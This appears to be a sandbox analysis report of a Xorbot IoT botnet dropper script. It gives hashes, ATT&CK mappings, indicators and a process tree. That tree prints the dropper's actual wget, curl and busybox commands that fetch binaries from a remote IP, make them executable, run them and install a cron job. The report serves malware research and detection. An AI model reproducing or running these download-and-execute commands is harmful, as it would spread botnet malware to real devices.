xorbot | 37a5a3e5ce57b6a774808847b27b716c7809d8da5349d0a6c0ed0d945fd9de45

Analysis

max time kernel
97s
max time network
153s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/02/2025, 18:47

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General

Target

bins.sh
Size

10KB
MD5

d8126e215a151514ecccbac0d89fa606
SHA1

b1a73227b60aed5bec1dfb839fb3284e529c3f14
SHA256

37a5a3e5ce57b6a774808847b27b716c7809d8da5349d0a6c0ed0d945fd9de45
SHA512

c5fb3b89c403a94cb75a375c82d4f541f3d1d290dd37156449ed63ae0d5ffa578a951e9068f65c8a353bd8e482cb73305b19a7401302a703351b3d3540cc7f7a
SSDEEP

192:NmZcq5vRAiAeAdAgAYA4bAiAeAdAgAYAuQn:Nm/5vRVxmnfTbVxmnfY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (796) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
768	chmod
775	chmod
798	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	769	bins.sh
/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	776	bins.sh
/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8	799	bins.sh

Renames itself 1 IoCs

pid	Process
777	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.wel91e	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/898/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/178/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/735/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/903/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/940/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/958/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/980/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/7/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/23/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/37/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/791/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/842/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/857/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/861/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/896/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/369/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/875/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/911/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/964/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/15/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/19/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/22/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/865/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/866/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/973/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/127/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/746/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/821/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/841/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/906/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/961/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/970/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/8/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/110/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/368/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/790/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/924/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/937/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/957/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/18/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/75/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/856/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/860/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/872/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/883/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/913/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/972/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/784/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/843/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/845/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/871/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/959/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/6/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/716/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/807/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/869/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/886/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/902/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/928/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/854/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/873/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/962/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
File opened for reading	/proc/977/cmdline	tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	busybox
File opened for modification	/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8	busybox
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	wget
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	curl
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	busybox
File opened for modification	/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	wget
File opened for modification	/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:739
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:743
- /usr/bin/wget
  wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  ./v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  PID:769
- /bin/rm
  rm v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  PID:771
- /usr/bin/wget
  wget http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - Writes file to tmp directory
  PID:772
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - Writes file to tmp directory
  PID:774
- /bin/chmod
  chmod 777 tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  ./tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:776
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:778
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:779
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:780
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:781
- /bin/rm
  rm tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  PID:785
- /usr/bin/wget
  wget http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  PID:791
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  ./HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  PID:799
- /bin/rm
  rm HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  PID:802
- /usr/bin/wget
  wget http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  PID:804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.wel91e

Filesize
210B

MD5
b9ce42cbd58832e2b6190876b0d5a21e

SHA1
c7744091d7834f29c13eaafe6c0be7e4e59031b0

SHA256
6fd9e25f90ed37b0480703121de840b33199ed2d778caaf4571573d3962634a6

SHA512
5ed15dc3c4127b6adc8d9377f03cce054207eca9a1e9d8e143a6604be737a1e55ddf5e9c144afb7b976d16f9d4b4a51734c8c7ef57decb29c8e0de04fff5553a

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads